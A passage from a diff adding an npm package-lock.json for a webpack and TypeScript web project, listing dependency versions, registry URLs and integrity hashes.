"bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/serialize-javascript": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-5.0.1.tgz", + "integrity": "sha512-SaaNal9imEO737H2c05Og0/8LUXG7EnsZyMa8MzkmuHoELfT6txuj0cMqRj6zfPKnmQ1yasR4PCJc8x+M4JSPA==", + "dev": true, + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/source-list-map": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz", + "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==", + "dev": true + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.19", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", + "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "dev": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/style-loader": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-2.0.0.tgz", + "integrity": "sha512-Z0gYUJmzZ6ZdRUqpg1r8GsaFKypE+3xAzuFeMuoHgjc9KZv3wMyCRjQIWEbhoFSq7+7yoHXySDJyyWQaPajeiQ==", + "dev": true, + "dependencies": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tapable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser": { + "version": "5.5.1", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.5.1.tgz", + "integrity": "sha512-6VGWZNVP2KTUcltUQJ25TtNjx/XgdDsBDKGt8nN0MpydU36LmbPPcMBd2kmtZNNGVVDLg44k7GKeHHj+4zPIBQ==", + "dev": true, + "dependencies": { + "commander": "^2.20.0", + "source-map": "~0.7.2", + "source-map-support": "~0.5.19" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.1.1.tgz", + "integrity": "sha512-5XNNXZiR8YO6X6KhSGXfY0QrGrCRlSwAEjIIrlRQR4W8nP69TaJUlh3bkuac6zzgspiGPfKEHcY295MMVExl5Q==", + "dev": true, + "dependencies": { + "jest-worker": "^26.6.2", + "p-limit": "^3.1.0", + "schema-utils": "^3.0.0", + "serialize-javascript": "^5.0.1", + "source-map": "^0.6.1", + "terser": "^5.5.1" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/terser/node_modules/source-map": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", + "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/timsort": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", + "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=" + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/ts-loader": { + "version": "8.0.14", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.0.14.tgz", + "integrity": "sha512-Jt/hHlUnApOZjnSjTmZ+AbD5BGlQFx3f1D0nYuNKwz0JJnuDGHJas6az+FlWKwwRTu+26GXpv249A8UAnYUpqA==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "enhanced-resolve": "^4.0.0", + "loader-utils": "^2.0.0", + "micromatch": "^4.0.0", + "semver": "^7.3.4" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true + }, + "node_modules/typescript": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.1.3.tgz", + "integrity": "sha512-B3ZIOf1IKeH2ixgHhj6la6xdwR9QrLC5d1VKeCSY4tvkqhF2eqd9O7txNlS0PO3GrBAFIdr3L1ndNwteUbZLYg==", + "dev": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/uniq": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", + "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", + "dev": true + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", + "dev": true + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/vis-data": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.2.tgz", + "integrity": "sha512-RPSegFxEcnp3HUEJSzhS2vBdbJ2PSsrYYuhRlpHp2frO/MfRtTYbIkkLZmPkA/Sg3pPfBlR235gcoKbtdm4mbw==", + "hasInstallScript": true + }, + "node_modules/vis-network": { + "version": "9.0.4", + "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-9.0.4.tgz", + "integrity": "sha512-F/pq8yBJUuB9lNKXHhtn4GP2h91FV0c2O2nvfU34RX4VCYOlqs+mINdz+J+QkWiYhiPdlVy15gzVEzkhJ9hpaw==", + "hasInstallScript": true + }, + "node_modules/vis-util": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/vis-util/-/vis-util-5.0.2.tgz", + "integrity": "sha512-oPDmPc4o0uQLoKpKai2XD1DjrhYsA7MRz75Wx9KmfX84e9LLgsbno7jVL5tR0K9eNVQkD6jf0Ei8NtbBHDkF1A==", + "engines": { + "node": ">=8" + } + }, + "node_modules/watchpack": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.1.0.tgz", + "integrity": "sha512-UjgD1mqjkG99+3lgG36at4wPnUXNvis2v1utwTgQ43C22c4LD71LsYMExdWXh4HZ+RmW+B0t1Vrg2GpXAkTOQw==", + "dev": true, + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack": { + "version": "5.14.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.14.0.tgz", + "integrity": "sha512-PFtfqXIKT6EG+k4L7d9whUPacN2XvxlUMc8NAQvN+sF9G8xPQqrCDGDiXbAdyGNz+/OP6ioxnUKybBBZ1kp/2A==", + "dev": true, + "dependencies": { + "@types/eslint-scope": "^3.7.0", + "@types/estree": "^0.0.45", + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/wasm-edit": "1.11.0", + "@webassemblyjs/wasm-parser": "1.11.0", + "acorn": "^8.0.4", + "browserslist": "^4.14.5", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.7.0", + "es-module-lexer": "^0.3.26", + "eslint-scope": "^5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.4", + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "pkg-dir": "^5.0.0", + "schema-utils": "^3.0.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.1.1", + "watchpack": "^2.0.0", + "webpack-sources": "^2.1.1" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack-sources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-2.2.0.tgz", + "integrity": "sha512-bQsA24JLwcnWGArOKUxYKhX3Mz/nK1Xf6hxullKERyktjNMC4x8koOeaDNTA2fEJ09BdWLbM/iTW0ithREUP0w==", + "dev": true, + "dependencies": { + "source-list-map": "^2.0.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/enhanced-resolve": { + "version": "5.7.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.7.0.tgz", + "integrity": "sha512-6njwt/NsZFUKhM6j9U8hzVyD4E4r0x7NQzhTCbcWOJ0IQjNSAoalWmb0AE51Wn+fwan5qVESWi7t2ToBxs9vrw==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/tapable": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.0.tgz", + "integrity": "sha512-FBk4IesMV1rBxX2tfiK8RAmogtWn53puLOQlvO8XuwlgxcYbP4mVPS9Ph4aeamSyyVjOl24aYWAuc8U5kCVwMw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/xterm": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/xterm/-/xterm-4.9.0.tgz", + "integrity": "sha512-wGfqufmioctKr8VkbRuZbVDfjlXWGZZ1PWHy1yqqpGT3Nm6yaJx8lxDbSEBANtgaiVPTcKSp97sxOy5IlpqYfw==" + }, + "node_modules/xterm-addon-attach": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/xterm-addon-attach/-/xterm-addon-attach-0.6.0.tgz", + "integrity": "sha512-Mo8r3HTjI/EZfczVCwRU6jh438B4WLXxdFO86OB7bx0jGhwh2GdF4ifx/rP+OB+Cb2vmLhhVIZ00/7x3YSP3dg==" + }, + "node_modules/xterm-addon-fit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/xterm-addon-fit/-/xterm-addon-fit-0.4.0.tgz", + "integrity": "sha512-p4BESuV/g2L6pZzFHpeNLLnep9mp/DkF3qrPglMiucSFtD8iJxtMufEoEJbN8LZwB4i+8PFpFvVuFrGOSpW05w==" + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "engines": { + "node": ">=10" + } + } + }, + "dependencies": { + "@egjs/hammerjs": { + "version": "2.0.17", + "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz", + "integrity": "sha512-XQsZgjm2EcVUiZQf11UBJQfmZeEmOW8DpI1gsFeln6w0ae0ii4dMQEQ0kjl6DspdWX1aGY1/loyXnP0JS06e/A==", + "requires": { + "@types/hammerjs": "^2.0.36" + } + }, + "@popperjs/core": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.6.0.tgz", + "integrity": "sha512-cPqjjzuFWNK3BSKLm0abspP0sp/IGOli4p5I5fKFAzdS8fvjdOwDCfZqAaIiXd9lPkOWi3SUUfZof3hEb7J/uw==" + }, + "@types/bootstrap": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/bootstrap/-/bootstrap-5.0.4.tgz", + "integrity": "sha512-Awa1onTcDziszyFDAAa2AawwYCQamGBLqR3YuRhJHJNlAFKwpfzsE+lfSyKtwxRNEImpkWevhOuwo0yPadd3hA==", + "requires": { + "@popperjs/core": "^2.6.0", + "@types/jquery": "*" + } + }, + "@types/datatables.net": { + "version": "1.10.19", + "resolved": "https://registry.npmjs.org/@types/datatables.net/-/datatables.net-1.10.19.tgz", + "integrity": "sha512-WuzgytEmsIpVYZbkce+EvK1UqBI7/cwcC/WgYeAtXdq2zi+yWzJwMT5Yb6irAiOi52DBjeAEeRt3bYzFYvHWCQ==", + "requires": { + "@types/jquery": "*" + } + }, + "@types/datatables.net-select": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@types/datatables.net-select/-/datatables.net-select-1.2.6.tgz", + "integrity": "sha512-F114lcN6EuAELInU/ZSb1gGyQNfUFCAdZRbo12dRNtdt+HYxiRHVmow46J7Qy0Hv44/6DaPHwHKhVq35eY3LPg==", + "requires": { + "@types/datatables.net": "*", + "@types/jquery": "*" + } + }, + "@types/eslint": { + "version": "7.2.6", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-7.2.6.tgz", + "integrity": "sha512-I+1sYH+NPQ3/tVqCeUSBwTE/0heyvtXqpIopUUArlBm0Kpocb8FbMa3AZ/ASKIFpN3rnEx932TTXDbt9OXsNDw==", + "dev": true, + "requires": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "@types/eslint-scope": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.0.tgz", + "integrity": "sha512-O/ql2+rrCUe2W2rs7wMR+GqPRcgB6UiqN5RhrR5xruFlY7l9YLMn0ZkDzjoHLeiFkR8MCQZVudUuuvQ2BLC9Qw==", + "dev": true, + "requires": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "@types/estree": { + "version": "0.0.45", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.45.tgz", + "integrity": "sha512-jnqIUKDUqJbDIUxm0Uj7bnlMnRm1T/eZ9N+AVMqhPgzrba2GhGG5o/jCTwmdPK709nEZsGoMzXEDUjcXHa3W0g==", + "dev": true + }, + "@types/hammerjs": { + "version": "2.0.36", + "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.36.tgz", + "integrity": "sha512-7TUK/k2/QGpEAv/BCwSHlYu3NXZhQ9ZwBYpzr9tjlPIL2C5BeGhH3DmVavRx3ZNyELX5TLC91JTz/cen6AAtIQ==" + }, + "@types/jquery": { + "version": "3.5.5", + "resolved": "https://registry.npmjs.org/@types/jquery/-/jquery-3.5.5.tgz", + "integrity": "sha512-6RXU9Xzpc6vxNrS6FPPapN1SxSHgQ336WC6Jj/N8q30OiaBZ00l1GBgeP7usjVZPivSkGUfL1z/WW6TX989M+w==", + "requires": { + "@types/sizzle": "*" + } + }, + "@types/jqueryui": { + "version": "1.12.14", + "resolved": "https://registry.npmjs.org/@types/jqueryui/-/jqueryui-1.12.14.tgz", + "integrity": "sha512-fR9PoOI0yauBS0sjGaU3ao0s2pJWjBi0yVYnPdYbllNoimaPUlHMOh0Ubq+hy8OB258hRSlK2hWCJk40kNhrZQ==", + "requires": { + "@types/jquery": "*" + } + }, + "@types/json-schema": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.6.tgz", + "integrity": "sha512-3c+yGKvVP5Y9TYBEibGNR+kLtijnj7mYrXRg+WpFb2X9xm04g/DXYkfg4hmzJQosc9snFNUPkbYIhu+KAm6jJw==" + }, + "@types/node": { + "version": "14.14.20", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.20.tgz", + "integrity": "sha512-Y93R97Ouif9JEOWPIUyU+eyIdyRqQR0I8Ez1dzku4hDx34NWh4HbtIc3WNzwB1Y9ULvNGeu5B8h8bVL5cAk4/A==", + "dev": true + }, + "@types/sizzle": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/@types/sizzle/-/sizzle-2.3.2.tgz", + "integrity": "sha512-7EJYyKTL7tFR8+gDbB6Wwz/arpGa0Mywk1TJbNzKzHtzbwVmY4HR9WqS5VV7dsBUKQmPNr192jHr/VpBluj/hg==" + }, + "@webassemblyjs/ast": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.0.tgz", + "integrity": "sha512-kX2W49LWsbthrmIRMbQZuQDhGtjyqXfEmmHyEi4XWnSZtPmxY0+3anPIzsnRb45VH/J55zlOfWvZuY47aJZTJg==", + "dev": true, + "requires": { + "@webassemblyjs/helper-numbers": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0" + } + }, + "@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.0.tgz", + "integrity": "sha512-Q/aVYs/VnPDVYvsCBL/gSgwmfjeCb4LW8+TMrO3cSzJImgv8lxxEPM2JA5jMrivE7LSz3V+PFqtMbls3m1exDA==", + "dev": true + }, + "@webassemblyjs/helper-api-error": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.0.tgz", + "integrity": "sha512-baT/va95eXiXb2QflSx95QGT5ClzWpGaa8L7JnJbgzoYeaA27FCvuBXU758l+KXWRndEmUXjP0Q5fibhavIn8w==", + "dev": true + }, + "@webassemblyjs/helper-buffer": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.0.tgz", + "integrity": "sha512-u9HPBEl4DS+vA8qLQdEQ6N/eJQ7gT7aNvMIo8AAWvAl/xMrcOSiI2M0MAnMCy3jIFke7bEee/JwdX1nUpCtdyA==", + "dev": true + }, + "@webassemblyjs/helper-numbers": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.0.tgz", + "integrity": "sha512-DhRQKelIj01s5IgdsOJMKLppI+4zpmcMQ3XboFPLwCpSNH6Hqo1ritgHgD0nqHeSYqofA6aBN/NmXuGjM1jEfQ==", + "dev": true, + "requires": { + "@webassemblyjs/floating-point-hex-parser": "1.11.0", + "@webassemblyjs/helper-api-error": "1.11.0", + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.0.tgz", + "integrity": "sha512-MbmhvxXExm542tWREgSFnOVo07fDpsBJg3sIl6fSp9xuu75eGz5lz31q7wTLffwL3Za7XNRCMZy210+tnsUSEA==", + "dev": true + }, + "@webassemblyjs/helper-wasm-section": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.0.tgz", + "integrity": "sha512-3Eb88hcbfY/FCukrg6i3EH8H2UsD7x8Vy47iVJrP967A9JGqgBVL9aH71SETPx1JrGsOUVLo0c7vMCN22ytJew==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-buffer": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/wasm-gen": "1.11.0" + } + }, + "@webassemblyjs/ieee754": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.0.tgz", + "integrity": "sha512-KXzOqpcYQwAfeQ6WbF6HXo+0udBNmw0iXDmEK5sFlmQdmND+tr773Ti8/5T/M6Tl/413ArSJErATd8In3B+WBA==", + "dev": true, + "requires": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "@webassemblyjs/leb128": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.0.tgz", + "integrity": "sha512-aqbsHa1mSQAbeeNcl38un6qVY++hh8OpCOzxhixSYgbRfNWcxJNJQwe2rezK9XEcssJbbWIkblaJRwGMS9zp+g==", + "dev": true, + "requires": { + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/utf8": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.0.tgz", + "integrity": "sha512-A/lclGxH6SpSLSyFowMzO/+aDEPU4hvEiooCMXQPcQFPPJaYcPQNKGOCLUySJsYJ4trbpr+Fs08n4jelkVTGVw==", + "dev": true + }, + "@webassemblyjs/wasm-edit": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.0.tgz", + "integrity": "sha512-JHQ0damXy0G6J9ucyKVXO2j08JVJ2ntkdJlq1UTiUrIgfGMmA7Ik5VdC/L8hBK46kVJgujkBIoMtT8yVr+yVOQ==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-buffer": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/helper-wasm-section": "1.11.0", + "@webassemblyjs/wasm-gen": "1.11.0", + "@webassemblyjs/wasm-opt": "1.11.0", + "@webassemblyjs/wasm-parser": "1.11.0", + "@webassemblyjs/wast-printer": "1.11.0" + } + }, + "@webassemblyjs/wasm-gen": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.0.tgz", + "integrity": "sha512-BEUv1aj0WptCZ9kIS30th5ILASUnAPEvE3tVMTrItnZRT9tXCLW2LEXT8ezLw59rqPP9klh9LPmpU+WmRQmCPQ==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/ieee754": "1.11.0", + "@webassemblyjs/leb128": "1.11.0", + "@webassemblyjs/utf8": "1.11.0" + } + }, + "@webassemblyjs/wasm-opt": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.0.tgz", + "integrity": "sha512-tHUSP5F4ywyh3hZ0+fDQuWxKx3mJiPeFufg+9gwTpYp324mPCQgnuVKwzLTZVqj0duRDovnPaZqDwoyhIO8kYg==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-buffer": "1.11.0", + "@webassemblyjs/wasm-gen": "1.11.0", + "@webassemblyjs/wasm-parser": "1.11.0" + } + }, + "@webassemblyjs/wasm-parser": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.0.tgz", + "integrity": "sha512-6L285Sgu9gphrcpDXINvm0M9BskznnzJTE7gYkjDbxET28shDqp27wpruyx3C2S/dvEwiigBwLA1cz7lNUi0kw==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-api-error": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/ieee754": "1.11.0", + "@webassemblyjs/leb128": "1.11.0", + "@webassemblyjs/utf8": "1.11.0" + } + }, + "@webassemblyjs/wast-printer": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.0.tgz", + "integrity": "sha512-Fg5OX46pRdTgB7rKIUojkh9vXaVN6sGYCnEiJN1GYkb0RPwShZXp6KTDqmoMdQPKhcroOXh3fEzmkWmCYaKYhQ==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.11.0", + "@xtuc/long": "4.2.2" + } + }, + "@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "dev": true + }, + "@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "dev": true + }, + "acorn": { + "version": "8.0.4", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.0.4.tgz", + "integrity": "sha512-XNP0PqF1XD19ZlLKvB7cMmnZswW4C/03pRHgirB30uSJTaS3A3V1/P4sS3HPvFmjoriPCJQs+JDSbm4bL1TxGQ==", + "dev": true + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==" + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==" + }, + "bootstrap": { + "version": "4.5.3", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.3.tgz", + "integrity": "sha512-o9ppKQioXGqhw8Z7mah6KdTYpNQY//tipnkxppWhPbiSWdD+1raYsnhwEZjkTHYbGee4cVQ0Rx65EhOY/HNLcQ==" + }, + "bootstrap-icons": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/bootstrap-icons/-/bootstrap-icons-1.3.0.tgz", + "integrity": "sha512-w6zQ93p626zmPDqDtET7VdB9EkoDtfmCBV53hunjntoCke6X5LafXf6TxPAP+ImjRAhhxAyA/sjzQnHBY0uoiQ==" + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": 